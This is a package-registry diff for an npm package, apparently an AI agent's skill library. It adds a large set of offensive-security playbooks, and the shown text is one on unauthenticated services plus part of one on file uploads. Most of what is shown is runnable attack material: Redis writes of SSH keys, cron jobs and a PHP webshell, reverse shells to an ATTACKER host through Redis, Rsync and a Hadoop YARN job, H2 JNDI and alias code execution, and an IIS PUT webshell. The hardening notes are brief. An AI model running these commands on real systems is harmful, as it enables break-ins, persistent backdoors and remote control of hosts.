ineedcodes 1.6.0 → 1.7.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (218) hide show
  1. package/package.json +2 -1
  2. package/skills/401-403-bypass-techniques/SKILL.md +348 -0
  3. package/skills/active-directory-acl-abuse/BLOODHOUND_PATHS.md +281 -0
  4. package/skills/active-directory-acl-abuse/SKILL.md +295 -0
  5. package/skills/active-directory-certificate-services/ADCS_ESC_MATRIX.md +197 -0
  6. package/skills/active-directory-certificate-services/SKILL.md +303 -0
  7. package/skills/active-directory-kerberos-attacks/KERBEROS_ATTACK_CHAINS.md +226 -0
  8. package/skills/active-directory-kerberos-attacks/SKILL.md +311 -0
  9. package/skills/ai-ml-security/SKILL.md +425 -0
  10. package/skills/android-pentesting-tricks/FRIDA_SCRIPTS.md +394 -0
  11. package/skills/android-pentesting-tricks/SKILL.md +369 -0
  12. package/skills/anti-debugging-techniques/ANTI_DEBUG_MATRIX.md +117 -0
  13. package/skills/anti-debugging-techniques/SKILL.md +407 -0
  14. package/skills/api-auth-and-jwt-abuse/SKILL.md +76 -0
  15. package/skills/api-authorization-and-bola/SKILL.md +48 -0
  16. package/skills/api-recon-and-docs/SKILL.md +61 -0
  17. package/skills/api-sec/SKILL.md +49 -0
  18. package/skills/arbitrary-write-to-rce/SKILL.md +361 -0
  19. package/skills/auth-sec/SKILL.md +41 -0
  20. package/skills/authbypass-authentication-flaws/SKILL.md +441 -0
  21. package/skills/bba-ad-attacker/SKILL.md +420 -0
  22. package/skills/bba-api-security/SKILL.md +95 -0
  23. package/skills/bba-attack-planner/SKILL.md +186 -0
  24. package/skills/bba-binary-exploit/SKILL.md +65 -0
  25. package/skills/bba-bizlogic-hunter/SKILL.md +304 -0
  26. package/skills/bba-bug-bounty/SKILL.md +245 -0
  27. package/skills/bba-cicd-redteam/SKILL.md +515 -0
  28. package/skills/bba-cloud-security/SKILL.md +97 -0
  29. package/skills/bba-container-escape/SKILL.md +161 -0
  30. package/skills/bba-credential-tester/SKILL.md +346 -0
  31. package/skills/bba-crypto-analyst/SKILL.md +54 -0
  32. package/skills/bba-ctf-solver/SKILL.md +166 -0
  33. package/skills/bba-detection-engineer/SKILL.md +93 -0
  34. package/skills/bba-engagement-planner/SKILL.md +68 -0
  35. package/skills/bba-exploit-chainer/SKILL.md +280 -0
  36. package/skills/bba-exploit-guide/SKILL.md +96 -0
  37. package/skills/bba-forensics-analyst/SKILL.md +512 -0
  38. package/skills/bba-graphql-hunter/SKILL.md +145 -0
  39. package/skills/bba-hardware-hacker/SKILL.md +57 -0
  40. package/skills/bba-jwt-cracker/SKILL.md +133 -0
  41. package/skills/bba-llm-redteam/SKILL.md +149 -0
  42. package/skills/bba-malware-analyst/SKILL.md +305 -0
  43. package/skills/bba-mobile-pentester/SKILL.md +350 -0
  44. package/skills/bba-osint-collector/SKILL.md +645 -0
  45. package/skills/bba-payload-crafter/SKILL.md +347 -0
  46. package/skills/bba-phishing-operator/SKILL.md +516 -0
  47. package/skills/bba-poc-validator/SKILL.md +249 -0
  48. package/skills/bba-privesc-advisor/SKILL.md +98 -0
  49. package/skills/bba-purple-team/SKILL.md +56 -0
  50. package/skills/bba-recon-advisor/SKILL.md +215 -0
  51. package/skills/bba-red-team-operator/SKILL.md +61 -0
  52. package/skills/bba-report-generator/SKILL.md +145 -0
  53. package/skills/bba-reverse-engineer/SKILL.md +298 -0
  54. package/skills/bba-social-engineer/SKILL.md +341 -0
  55. package/skills/bba-ssrf-hunter/SKILL.md +120 -0
  56. package/skills/bba-stig-analyst/SKILL.md +108 -0
  57. package/skills/bba-subdomain-takeover/SKILL.md +141 -0
  58. package/skills/bba-swarm-orchestrator/SKILL.md +351 -0
  59. package/skills/bba-threat-modeler/SKILL.md +574 -0
  60. package/skills/bba-vuln-scanner/SKILL.md +305 -0
  61. package/skills/bba-web-hunter/SKILL.md +285 -0
  62. package/skills/bba-wireless-pentester/SKILL.md +539 -0
  63. package/skills/binary-protection-bypass/PROTECTION_BYPASS_MATRIX.md +168 -0
  64. package/skills/binary-protection-bypass/SKILL.md +295 -0
  65. package/skills/browser-exploitation-v8/SKILL.md +334 -0
  66. package/skills/browser-exploitation-v8/V8_EXPLOITATION_PATTERNS.md +288 -0
  67. package/skills/business-logic-vuln/SKILL.md +33 -0
  68. package/skills/business-logic-vulnerabilities/CHECKLIST.md +375 -0
  69. package/skills/business-logic-vulnerabilities/METHODOLOGY.md +337 -0
  70. package/skills/business-logic-vulnerabilities/SCENARIOS.md +1095 -0
  71. package/skills/business-logic-vulnerabilities/SKILL.md +711 -0
  72. package/skills/classical-cipher-analysis/SKILL.md +663 -0
  73. package/skills/clickjacking/SKILL.md +163 -0
  74. package/skills/cmdi-command-injection/SKILL.md +687 -0
  75. package/skills/code-obfuscation-deobfuscation/SKILL.md +391 -0
  76. package/skills/container-escape-techniques/DOCKER_ESCAPE_CHAINS.md +296 -0
  77. package/skills/container-escape-techniques/SKILL.md +339 -0
  78. package/skills/cors-cross-origin-misconfiguration/SCENARIOS.md +152 -0
  79. package/skills/cors-cross-origin-misconfiguration/SKILL.md +270 -0
  80. package/skills/crlf-injection/SKILL.md +179 -0
  81. package/skills/csp-bypass-advanced/SKILL.md +259 -0
  82. package/skills/csrf-cross-site-request-forgery/SKILL.md +526 -0
  83. package/skills/csv-formula-injection/SKILL.md +144 -0
  84. package/skills/dangling-markup-injection/SKILL.md +321 -0
  85. package/skills/defi-attack-patterns/SKILL.md +355 -0
  86. package/skills/dependency-confusion/SKILL.md +178 -0
  87. package/skills/deserialization-insecure/JAVA_GADGET_CHAINS.md +511 -0
  88. package/skills/deserialization-insecure/SKILL.md +725 -0
  89. package/skills/dns-rebinding-attacks/SKILL.md +337 -0
  90. package/skills/email-header-injection/SKILL.md +349 -0
  91. package/skills/expression-language-injection/SKILL.md +243 -0
  92. package/skills/file-access-vuln/SKILL.md +33 -0
  93. package/skills/format-string-exploitation/SKILL.md +312 -0
  94. package/skills/ghost-bits-cast-attack/PAYLOAD_COOKBOOK.md +448 -0
  95. package/skills/ghost-bits-cast-attack/SKILL.md +799 -0
  96. package/skills/graphql-and-hidden-parameters/SKILL.md +50 -0
  97. package/skills/hack/SKILL.md +162 -0
  98. package/skills/hash-attack-techniques/SKILL.md +491 -0
  99. package/skills/heap-exploitation/HOUSE_OF_TECHNIQUES.md +244 -0
  100. package/skills/heap-exploitation/IO_FILE_EXPLOITATION.md +256 -0
  101. package/skills/heap-exploitation/SKILL.md +217 -0
  102. package/skills/http-host-header-attacks/SKILL.md +323 -0
  103. package/skills/http-parameter-pollution/SKILL.md +208 -0
  104. package/skills/http2-specific-attacks/SKILL.md +350 -0
  105. package/skills/idor-broken-object-authorization/SKILL.md +336 -0
  106. package/skills/injection-checking/EXTRA_INJECTION_TYPES.md +450 -0
  107. package/skills/injection-checking/SKILL.md +50 -0
  108. package/skills/insecure-source-code-management/SKILL.md +161 -0
  109. package/skills/ios-pentesting-tricks/IOS_RUNTIME_TRICKS.md +411 -0
  110. package/skills/ios-pentesting-tricks/SKILL.md +418 -0
  111. package/skills/jndi-injection/SKILL.md +265 -0
  112. package/skills/jwt-oauth-token-attacks/SKILL.md +301 -0
  113. package/skills/kernel-exploitation/KERNEL_HEAP_TECHNIQUES.md +293 -0
  114. package/skills/kernel-exploitation/KERNEL_MITIGATION_BYPASS.md +224 -0
  115. package/skills/kernel-exploitation/SKILL.md +307 -0
  116. package/skills/kubernetes-pentesting/SKILL.md +348 -0
  117. package/skills/lattice-crypto-attacks/SKILL.md +497 -0
  118. package/skills/linux-lateral-movement/SKILL.md +348 -0
  119. package/skills/linux-privilege-escalation/KERNEL_EXPLOITS_CHECKLIST.md +260 -0
  120. package/skills/linux-privilege-escalation/SKILL.md +346 -0
  121. package/skills/linux-privilege-escalation/SUID_CAPABILITIES_TRICKS.md +305 -0
  122. package/skills/linux-security-bypass/SKILL.md +345 -0
  123. package/skills/llm-prompt-injection/JAILBREAK_PATTERNS.md +306 -0
  124. package/skills/llm-prompt-injection/SKILL.md +357 -0
  125. package/skills/macos-process-injection/DYLIB_XPC_TECHNIQUES.md +373 -0
  126. package/skills/macos-process-injection/SKILL.md +384 -0
  127. package/skills/macos-security-bypass/SKILL.md +337 -0
  128. package/skills/macos-security-bypass/TCC_BYPASS_MATRIX.md +200 -0
  129. package/skills/memory-forensics-volatility/SKILL.md +323 -0
  130. package/skills/memory-forensics-volatility/VOLATILITY_CHEATSHEET.md +225 -0
  131. package/skills/mobile-ssl-pinning-bypass/SKILL.md +531 -0
  132. package/skills/network-protocol-attacks/NAME_RESOLUTION_POISONING.md +226 -0
  133. package/skills/network-protocol-attacks/SKILL.md +330 -0
  134. package/skills/nosql-injection/SKILL.md +341 -0
  135. package/skills/ntlm-relay-coercion/COERCION_METHODS.md +253 -0
  136. package/skills/ntlm-relay-coercion/SKILL.md +267 -0
  137. package/skills/oauth-oidc-misconfiguration/SKILL.md +46 -0
  138. package/skills/open-redirect/SKILL.md +380 -0
  139. package/skills/path-traversal-lfi/SKILL.md +802 -0
  140. package/skills/prototype-pollution/SKILL.md +190 -0
  141. package/skills/prototype-pollution-advanced/KNOWN_GADGETS.md +253 -0
  142. package/skills/prototype-pollution-advanced/SKILL.md +338 -0
  143. package/skills/race-condition/SKILL.md +526 -0
  144. package/skills/recon-and-methodology/SKILL.md +389 -0
  145. package/skills/recon-for-sec/SKILL.md +29 -0
  146. package/skills/request-smuggling/H2_SMUGGLING_VARIANTS.md +498 -0
  147. package/skills/request-smuggling/SKILL.md +314 -0
  148. package/skills/reverse-shell-techniques/SHELL_CHEATSHEET.md +196 -0
  149. package/skills/reverse-shell-techniques/SKILL.md +290 -0
  150. package/skills/rsa-attack-techniques/RSA_ATTACK_CATALOG.md +432 -0
  151. package/skills/rsa-attack-techniques/SKILL.md +437 -0
  152. package/skills/saml-sso-assertion-attacks/SKILL.md +41 -0
  153. package/skills/sandbox-escape-techniques/PYTHON_SANDBOX_ESCAPE.md +349 -0
  154. package/skills/sandbox-escape-techniques/SECCOMP_BYPASS.md +332 -0
  155. package/skills/sandbox-escape-techniques/SKILL.md +250 -0
  156. package/skills/smart-contract-vulnerabilities/SKILL.md +314 -0
  157. package/skills/smart-contract-vulnerabilities/SOLIDITY_VULN_PATTERNS.md +460 -0
  158. package/skills/sqli-sql-injection/SCENARIOS.md +575 -0
  159. package/skills/sqli-sql-injection/SKILL.md +489 -0
  160. package/skills/sqli-sql-injection/SQLMAP_ADVANCED.md +642 -0
  161. package/skills/ssrf-server-side-request-forgery/SCENARIOS.md +226 -0
  162. package/skills/ssrf-server-side-request-forgery/SKILL.md +323 -0
  163. package/skills/ssrf-server-side-request-forgery/URL_PARSER_TRICKS.md +650 -0
  164. package/skills/ssti-server-side-template-injection/ENGINE_PAYLOADS.md +456 -0
  165. package/skills/ssti-server-side-template-injection/SCENARIOS.md +319 -0
  166. package/skills/ssti-server-side-template-injection/SKILL.md +344 -0
  167. package/skills/stack-overflow-and-rop/ROP_ADVANCED_TECHNIQUES.md +249 -0
  168. package/skills/stack-overflow-and-rop/SKILL.md +304 -0
  169. package/skills/steganography-techniques/SKILL.md +348 -0
  170. package/skills/steganography-techniques/STEGO_TOOLS_GUIDE.md +335 -0
  171. package/skills/subdomain-takeover/SKILL.md +247 -0
  172. package/skills/symbolic-execution-tools/ANGR_COOKBOOK.md +437 -0
  173. package/skills/symbolic-execution-tools/SKILL.md +419 -0
  174. package/skills/symmetric-cipher-attacks/BLOCK_CIPHER_ATTACKS.md +364 -0
  175. package/skills/symmetric-cipher-attacks/SKILL.md +462 -0
  176. package/skills/traffic-analysis-pcap/SKILL.md +341 -0
  177. package/skills/tunneling-and-pivoting/SKILL.md +343 -0
  178. package/skills/type-juggling/SKILL.md +291 -0
  179. package/skills/unauthorized-access-common-services/PORT_SERVICE_MATRIX.md +340 -0
  180. package/skills/unauthorized-access-common-services/SKILL.md +388 -0
  181. package/skills/upload-insecure-files/SCENARIOS.md +158 -0
  182. package/skills/upload-insecure-files/SKILL.md +543 -0
  183. package/skills/vm-and-bytecode-reverse/SKILL.md +450 -0
  184. package/skills/vr-cheatsheet-authentication_bypass/SKILL.md +184 -0
  185. package/skills/vr-cheatsheet-dangerous_functions/SKILL.md +200 -0
  186. package/skills/vr-cheatsheet-linux_commands/SKILL.md +40 -0
  187. package/skills/vr-cheatsheet-rce/SKILL.md +177 -0
  188. package/skills/vr-cheatsheet-reverse_engineering/SKILL.md +144 -0
  189. package/skills/vr-cheatsheet-sqli/SKILL.md +270 -0
  190. package/skills/vr-cheatsheet-ssrf/SKILL.md +173 -0
  191. package/skills/vr-cheatsheet-xss/SKILL.md +177 -0
  192. package/skills/vr-methodology-mindset_and_tips/SKILL.md +51 -0
  193. package/skills/vr-template-vulnerability_report_template/SKILL.md +59 -0
  194. package/skills/vr-writeup-CVE-2026-9136/SKILL.md +171 -0
  195. package/skills/vr-writeup-ZVE-2026-3795/SKILL.md +350 -0
  196. package/skills/vr-writeup-api_key_leak/SKILL.md +103 -0
  197. package/skills/waf-bypass-techniques/SKILL.md +290 -0
  198. package/skills/waf-bypass-techniques/WAF_PRODUCT_MATRIX.md +202 -0
  199. package/skills/web-cache-deception/CACHE_POISONING_TECHNIQUES.md +637 -0
  200. package/skills/web-cache-deception/SKILL.md +222 -0
  201. package/skills/websocket-security/SKILL.md +454 -0
  202. package/skills/windows-av-evasion/AMSI_BYPASS_TECHNIQUES.md +289 -0
  203. package/skills/windows-av-evasion/SKILL.md +342 -0
  204. package/skills/windows-lateral-movement/CREDENTIAL_DUMPING.md +308 -0
  205. package/skills/windows-lateral-movement/SKILL.md +335 -0
  206. package/skills/windows-privilege-escalation/SKILL.md +328 -0
  207. package/skills/windows-privilege-escalation/TOKEN_POTATO_TRICKS.md +216 -0
  208. package/skills/windows-privilege-escalation/UAC_BYPASS_METHODS.md +225 -0
  209. package/skills/xslt-injection/SKILL.md +281 -0
  210. package/skills/xss-cross-site-scripting/ADVANCED_XSS_TRICKS.md +276 -0
  211. package/skills/xss-cross-site-scripting/SCENARIOS.md +278 -0
  212. package/skills/xss-cross-site-scripting/SKILL.md +379 -0
  213. package/skills/xxe-xml-external-entity/SCENARIOS.md +112 -0
  214. package/skills/xxe-xml-external-entity/SKILL.md +554 -0
  215. package/src/agent.js +1 -1
  216. package/src/session.js +47 -11
  217. package/src/skills.js +30 -6
  218. package/src/ui.js +1 -1
@@ -0,0 +1,388 @@
1
+ ---
2
+ name: unauthorized-access-common-services
3
+ description: >-
4
+ Unauthorized access playbook for common exposed services. Use when Redis, Rsync, PHP-FPM, AJP/Ghostcat, Hadoop YARN, H2 Console, or similar management interfaces are exposed without authentication.gated: true
5
+ ---
6
+
7
+ # SKILL: Unauthorized Access to Common Services — Expert Attack Playbook
8
+
9
+ > **AI LOAD INSTRUCTION**: Expert techniques for exploiting unauthenticated or weakly authenticated management services. Covers Redis write-to-RCE, Rsync data theft, PHP-FPM code execution, Ghostcat AJP file read, Hadoop YARN job submission, and H2 Console JNDI. These are infrastructure-level findings distinct from web application vulnerabilities.
10
+
11
+ ## 0. RELATED ROUTING
12
+
13
+ - [ssrf-server-side-request-forgery](../ssrf-server-side-request-forgery/SKILL.md) when these services are reachable via SSRF (e.g., SSRF → Redis)
14
+ - [jndi-injection](../jndi-injection/SKILL.md) when H2 Console or similar accepts JNDI connection strings
15
+ - [deserialization-insecure](../deserialization-insecure/SKILL.md) when RMI Registry or T3 protocol is exposed
16
+ - [network-protocol-attacks](../network-protocol-attacks/SKILL.md) for layer 2/3 attacks during service enumeration
17
+ - [reverse-shell-techniques](../reverse-shell-techniques/SKILL.md) for shell payloads after gaining command execution
18
+
19
+ ### Comprehensive Port Reference
20
+
21
+ Also load [PORT_SERVICE_MATRIX.md](./PORT_SERVICE_MATRIX.md) when you need:
22
+ - Full exploitation matrix organized by port number (20+ services)
23
+ - Enumeration, brute force, and post-exploitation per service
24
+ - Quick triage during nmap/masscan output analysis
25
+
26
+ ---
27
+
28
+ ## 1. DISCOVERY — PORT SCANNING
29
+
30
+ ```bash
31
+ nmap -sV -p 6379,873,9000,8009,8088,8082,1099,9200,5984,2375,27017,11211 TARGET
32
+
33
+ # Key ports:
34
+ # 6379 — Redis
35
+ # 873 — Rsync
36
+ # 9000 — PHP-FPM (FastCGI)
37
+ # 8009 — AJP (Tomcat Ghostcat)
38
+ # 8088 — Hadoop YARN ResourceManager
39
+ # 8082 — H2 Console (or embedded in Spring Boot)
40
+ # 1099 — Java RMI Registry
41
+ # 9200 — Elasticsearch
42
+ # 5984 — CouchDB
43
+ # 2375 — Docker API
44
+ # 27017 — MongoDB
45
+ # 11211 — Memcached
46
+ ```
47
+
48
+ ---
49
+
50
+ ## 2. REDIS (PORT 6379)
51
+
52
+ ### Detection
53
+
54
+ ```bash
55
+ redis-cli -h TARGET ping
56
+ # Response: PONG = unauthenticated access confirmed
57
+
58
+ redis-cli -h TARGET INFO server
59
+ # Returns Redis version, OS, config
60
+ ```
61
+
62
+ ### Write SSH Authorized Keys
63
+
64
+ ```bash
65
+ # Generate key pair:
66
+ ssh-keygen -t rsa -f redis_rsa
67
+
68
+ # Write public key to Redis, then dump to authorized_keys:
69
+ cat redis_rsa.pub | redis-cli -h TARGET -x set ssh_key
70
+ redis-cli -h TARGET config set dir /root/.ssh
71
+ redis-cli -h TARGET config set dbfilename authorized_keys
72
+ redis-cli -h TARGET save
73
+
74
+ # Connect:
75
+ ssh -i redis_rsa root@TARGET
76
+ ```
77
+
78
+ ### Write Crontab (Reverse Shell)
79
+
80
+ ```bash
81
+ redis-cli -h TARGET
82
+ > set x "\n\n*/1 * * * * bash -i >& /dev/tcp/ATTACKER/4444 0>&1\n\n"
83
+ > config set dir /var/spool/cron/
84
+ > config set dbfilename root
85
+ > save
86
+ ```
87
+
88
+ ### Write Webshell
89
+
90
+ ```bash
91
+ redis-cli -h TARGET
92
+ > set webshell "<?php system($_GET['cmd']); ?>"
93
+ > config set dir /var/www/html/
94
+ > config set dbfilename shell.php
95
+ > save
96
+ # Access: http://TARGET/shell.php?cmd=id
97
+ ```
98
+
99
+ ### Master-Slave Replication RCE
100
+
101
+ Use `redis-rogue-server` to exploit master-slave replication for loading malicious `.so` module:
102
+
103
+ ```bash
104
+ python3 redis-rogue-server.py --rhost TARGET --lhost ATTACKER
105
+ # Loads module via SLAVEOF → MODULE LOAD → system.exec
106
+ ```
107
+
108
+ ### Hardening
109
+
110
+ ```
111
+ requirepass STRONG_PASSWORD
112
+ bind 127.0.0.1
113
+ protected-mode yes
114
+ rename-command CONFIG ""
115
+ rename-command FLUSHALL ""
116
+ ```
117
+
118
+ ---
119
+
120
+ ## 3. RSYNC (PORT 873)
121
+
122
+ ### Detection
123
+
124
+ ```bash
125
+ rsync TARGET::
126
+ # Lists available modules (shares) if anonymous access allowed
127
+
128
+ rsync -av TARGET::MODULE_NAME /tmp/loot/
129
+ # Download entire module contents
130
+ ```
131
+
132
+ ### Exploitation — Write Crontab
133
+
134
+ ```bash
135
+ # Create reverse shell cron:
136
+ echo '*/1 * * * * bash -i >& /dev/tcp/ATTACKER/4444 0>&1' > /tmp/evil_cron
137
+
138
+ # Upload to target's crontab (if writable module maps to /etc/ or similar):
139
+ rsync -av /tmp/evil_cron TARGET::MODULE/cron.d/backdoor
140
+ ```
141
+
142
+ ### Hardening
143
+
144
+ ```
145
+ # /etc/rsyncd.conf:
146
+ auth users = rsync_user
147
+ secrets file = /etc/rsyncd.secrets
148
+ list = no
149
+ hosts allow = 10.0.0.0/8
150
+ read only = yes
151
+ ```
152
+
153
+ ---
154
+
155
+ ## 4. PHP-FPM / FASTCGI (PORT 9000)
156
+
157
+ ### Mechanism
158
+
159
+ PHP-FPM listens for FastCGI requests. If exposed to the network (instead of Unix socket), an attacker can send crafted FastCGI packets to execute arbitrary PHP code.
160
+
161
+ ### Exploitation
162
+
163
+ ```bash
164
+ # Using fcgi_exp or similar tool:
165
+ python3 fpm.py TARGET 9000 /var/www/html/index.php -c "<?php system('id'); ?>"
166
+
167
+ # Key parameters in FastCGI request:
168
+ # SCRIPT_FILENAME = path to any existing .php file
169
+ # PHP_VALUE = "auto_prepend_file = php://input" (injects POST body as PHP code)
170
+ # PHP_ADMIN_VALUE = "allow_url_include = On"
171
+ ```
172
+
173
+ ### Key FastCGI Environment Variables for Exploitation
174
+
175
+ ```text
176
+ SCRIPT_FILENAME = /var/www/html/index.php # must point to an existing .php file
177
+ PHP_VALUE = auto_prepend_file = php://input # injects POST body as PHP code
178
+ PHP_ADMIN_VALUE = allow_url_include = On # enables remote inclusion
179
+ ```
180
+
181
+ ### Via SSRF (gopher)
182
+
183
+ ```
184
+ gopher://TARGET:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00...
185
+ # Encoded FastCGI packet
186
+ # Tool: Gopherus generates the gopher:// URL
187
+ python3 gopherus.py --exploit fastcgi
188
+ ```
189
+
190
+ ### Hardening
191
+
192
+ ```ini
193
+ ; php-fpm.conf — bind to socket only:
194
+ listen = /var/run/php-fpm.sock
195
+ ; If TCP required, restrict:
196
+ listen.allowed_clients = 127.0.0.1
197
+ ```
198
+
199
+ ---
200
+
201
+ ## 5. GHOSTCAT — AJP (PORT 8009) — CVE-2020-1938
202
+
203
+ ### Mechanism
204
+
205
+ Apache JServ Protocol (AJP) is used between reverse proxy and Tomcat. AJP trusts all incoming data — an attacker connecting directly can set `javax.servlet.include.request_uri` to read arbitrary files from the webapp directory.
206
+
207
+ ### File Read
208
+
209
+ ```bash
210
+ # Using ajpShooter or similar:
211
+ python3 ajpShooter.py TARGET 8009 /WEB-INF/web.xml read
212
+
213
+ # Reads any file within the webapp root:
214
+ # /WEB-INF/web.xml — deployment descriptor
215
+ # /WEB-INF/classes/*.class — compiled Java classes
216
+ # /WEB-INF/lib/*.jar — library JARs
217
+ ```
218
+
219
+ ### File Include → RCE
220
+
221
+ If a file upload exists (e.g., uploaded JSP disguised as image), AJP can include it as JSP:
222
+
223
+ ```bash
224
+ python3 ajpShooter.py TARGET 8009 /uploaded_avatar.txt eval
225
+ # If the file contains JSP code, it gets executed
226
+ ```
227
+
228
+ ### Hardening
229
+
230
+ ```xml
231
+ <!-- server.xml — disable AJP or add secret: -->
232
+ <Connector port="8009" protocol="AJP/1.3" secretRequired="true" secret="STRONG_SECRET"/>
233
+ <!-- Or remove the AJP connector entirely -->
234
+ ```
235
+
236
+ ---
237
+
238
+ ## 6. HADOOP YARN RESOURCEMANAGER (PORT 8088)
239
+
240
+ ### Detection
241
+
242
+ ```bash
243
+ curl http://TARGET:8088/cluster
244
+ # If accessible → unauthenticated YARN ResourceManager UI
245
+ ```
246
+
247
+ ### RCE via Application Submission
248
+
249
+ ```bash
250
+ # Submit a MapReduce application that executes a command:
251
+ curl -s -X POST http://TARGET:8088/ws/v1/cluster/apps/new-application
252
+ # Returns: {"application-id":"application_xxx_0001"}
253
+
254
+ curl -s -X POST http://TARGET:8088/ws/v1/cluster/apps \
255
+ -H "Content-Type: application/json" \
256
+ -d '{
257
+ "application-id": "application_xxx_0001",
258
+ "application-name": "test",
259
+ "am-container-spec": {
260
+ "commands": {"command": "/bin/bash -i >& /dev/tcp/ATTACKER/4444 0>&1"}
261
+ },
262
+ "application-type": "YARN"
263
+ }'
264
+ ```
265
+
266
+ ### Hardening
267
+
268
+ Enable Kerberos authentication; restrict network access to management ports.
269
+
270
+ ---
271
+
272
+ ## 7. H2 DATABASE CONSOLE
273
+
274
+ ### Detection
275
+
276
+ H2 Console is often enabled in Spring Boot apps via:
277
+ ```
278
+ spring.h2.console.enabled=true
279
+ spring.h2.console.settings.web-allow-others=true
280
+ ```
281
+
282
+ Access: `http://TARGET:PORT/h2-console`
283
+
284
+ ### JNDI Injection via Connection String
285
+
286
+ In the H2 Console login form, the JDBC URL field accepts JNDI.
287
+
288
+ **BeanFactory + EL bypass** (works on Java 8u252+):
289
+
290
+ ```text
291
+ # JDBC URL in login form:
292
+ javax.naming.InitialContext
293
+
294
+ # LDAP response attributes:
295
+ javaClassName: javax.el.ELProcessor
296
+ javaFactory: org.apache.naming.factory.BeanFactory
297
+ forceString: x=eval
298
+ x: Runtime.getRuntime().exec("id")
299
+ ```
300
+
301
+ Also see [jndi-injection](../jndi-injection/SKILL.md) for the full JNDI/BeanFactory exploitation flow.
302
+
303
+ ### RCE via RUNSCRIPT
304
+
305
+ ```sql
306
+ CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException { Runtime.getRuntime().exec(cmd); return "ok"; }';
307
+ CALL EXEC('id');
308
+ ```
309
+
310
+ ---
311
+
312
+ ## 8. QUICK REFERENCE
313
+
314
+ ```text
315
+ # Redis — check auth:
316
+ redis-cli -h TARGET ping
317
+
318
+ # Redis — write webshell:
319
+ SET x "<?php system($_GET['c']);?>"
320
+ CONFIG SET dir /var/www/html/
321
+ CONFIG SET dbfilename shell.php
322
+ SAVE
323
+
324
+ # Rsync — list modules:
325
+ rsync TARGET::
326
+
327
+ # Ghostcat — read web.xml:
328
+ python3 ajpShooter.py TARGET 8009 /WEB-INF/web.xml read
329
+
330
+ # YARN — submit RCE job:
331
+ curl -X POST http://TARGET:8088/ws/v1/cluster/apps/new-application
332
+
333
+ # H2 — RCE via alias:
334
+ CREATE ALIAS EXEC AS '...Runtime.exec...'; CALL EXEC('id');
335
+ ```
336
+
337
+ ---
338
+
339
+ ## 9. REVERSE PROXY MISCONFIGURATION
340
+
341
+ ### Nginx Off-By-Slash Path Traversal
342
+
343
+ ```nginx
344
+ # Vulnerable configuration:
345
+ location /static {
346
+ alias /var/www/static/;
347
+ }
348
+ # Access: /static../etc/passwd → resolves to /var/www/etc/passwd
349
+ # The missing trailing slash on location causes path traversal
350
+
351
+ # Fix: location /static/ (with trailing slash matching alias)
352
+ ```
353
+
354
+ ### Nginx Missing Root Location
355
+
356
+ ```nginx
357
+ # If no root location defined and alias is used:
358
+ # Attacker may access nginx.conf or other server files
359
+ GET /..%2f..%2fetc/nginx/nginx.conf HTTP/1.1
360
+ ```
361
+
362
+ ### X-Forwarded-For / X-Real-IP Trust
363
+
364
+ ```
365
+ # If backend trusts these headers for IP-based auth:
366
+ GET /admin HTTP/1.1
367
+ X-Forwarded-For: 127.0.0.1
368
+ X-Real-IP: 127.0.0.1
369
+ True-Client-IP: 127.0.0.1
370
+
371
+ # May bypass IP whitelist for admin panels
372
+ ```
373
+
374
+ ### Caddy Template Injection
375
+
376
+ ```
377
+ # Caddy with templates enabled:
378
+ # If user input reaches Caddy template rendering:
379
+ {{.Req.Host}} → Information disclosure
380
+ {{readFile "/etc/passwd"}} → Local file read via Go template
381
+ # This is essentially a Go template injection through proxy config
382
+ ```
383
+
384
+ ### Useful Tools
385
+
386
+ - `yandex/gixy` — Nginx configuration analyzer
387
+ - `Raelize/Kyubi` — Reverse proxy misconfiguration scanner
388
+ - `GerbenJavado/bypass-url-parser` — URL parser confusion tester
@@ -0,0 +1,158 @@
1
+ # Upload Insecure Files — Extended Scenarios & Real-World Cases
2
+
3
+ > Companion to [SKILL.md](./SKILL.md). Contains parsing vulnerabilities, PUT method attacks, and CVE case studies.
4
+
5
+ ---
6
+
7
+ ## 1. Web Server Parsing Vulnerabilities
8
+
9
+ Parsing vulnerabilities cause web servers to execute uploaded files as code despite having "safe" extensions:
10
+
11
+ ### IIS Parsing
12
+
13
+ | Technique | Example | Mechanism |
14
+ |---|---|---|
15
+ | Directory parsing | Upload to `x.asp/` directory | IIS 6 treats files in `.asp` directories as ASP |
16
+ | Semicolon truncation | `shell.asp;.jpg` | IIS 6 truncates at `;` → executes as ASP |
17
+ | Unicode space | `shell.asp%20` | IIS ignores trailing encoded space |
18
+
19
+ ### Nginx Parsing (CGI misconfiguration)
20
+
21
+ ```text
22
+ # Upload: avatar.jpg (containing PHP code in EXIF or appended)
23
+ # Access: /uploads/avatar.jpg/.php
24
+ # Or: /uploads/avatar.jpg%00.php (null byte, older versions)
25
+ ```
26
+
27
+ Caused by `cgi.fix_pathinfo=1` in php.ini + incorrect Nginx `location` config.
28
+
29
+ ### Apache Parsing
30
+
31
+ | Technique | Example | Mechanism |
32
+ |---|---|---|
33
+ | Multiple extensions | `shell.php.jpg` | If `AddHandler php-script .php`, Apache processes `.php` anywhere in name |
34
+ | Newline bypass (CVE-2017-15715) | `shell.php\n` (`0x0A`) | `<FilesMatch>` regex uses `$` which matches before `\n` |
35
+ | `.htaccess` upload | Upload `.htaccess` with `AddType application/x-httpd-php .jpg` | All `.jpg` files execute as PHP |
36
+
37
+ ### Exploitation Flow
38
+
39
+ ```
40
+ 1. Upload file with parsing-vulnerable name: shell.php.jpg
41
+ 2. Server stores it (passes extension validation for "jpg")
42
+ 3. Access the file URL
43
+ 4. Web server parses it as PHP due to parsing vulnerability → RCE
44
+ ```
45
+
46
+ ---
47
+
48
+ ## 2. PUT Method Exploitation
49
+
50
+ ### IIS PUT + COPY/MOVE
51
+
52
+ IIS with WebDAV and write permissions allows uploading via PUT, then renaming:
53
+
54
+ ```bash
55
+ # Step 1: PUT a text file (allowed)
56
+ PUT /test.txt HTTP/1.1
57
+ Content-Type: text/plain
58
+
59
+ <%eval request("cmd")%>
60
+
61
+ # Step 2: COPY/MOVE to .asp extension
62
+ COPY /test.txt HTTP/1.1
63
+ Destination: /shell.asp
64
+
65
+ # Step 3: Access shell
66
+ GET /shell.asp?cmd=whoami
67
+ ```
68
+
69
+ ### Tomcat PUT (CVE-2017-12615)
70
+
71
+ When Tomcat's `readonly` parameter is `false` in `web.xml`:
72
+
73
+ ```bash
74
+ # Direct PUT is blocked for .jsp
75
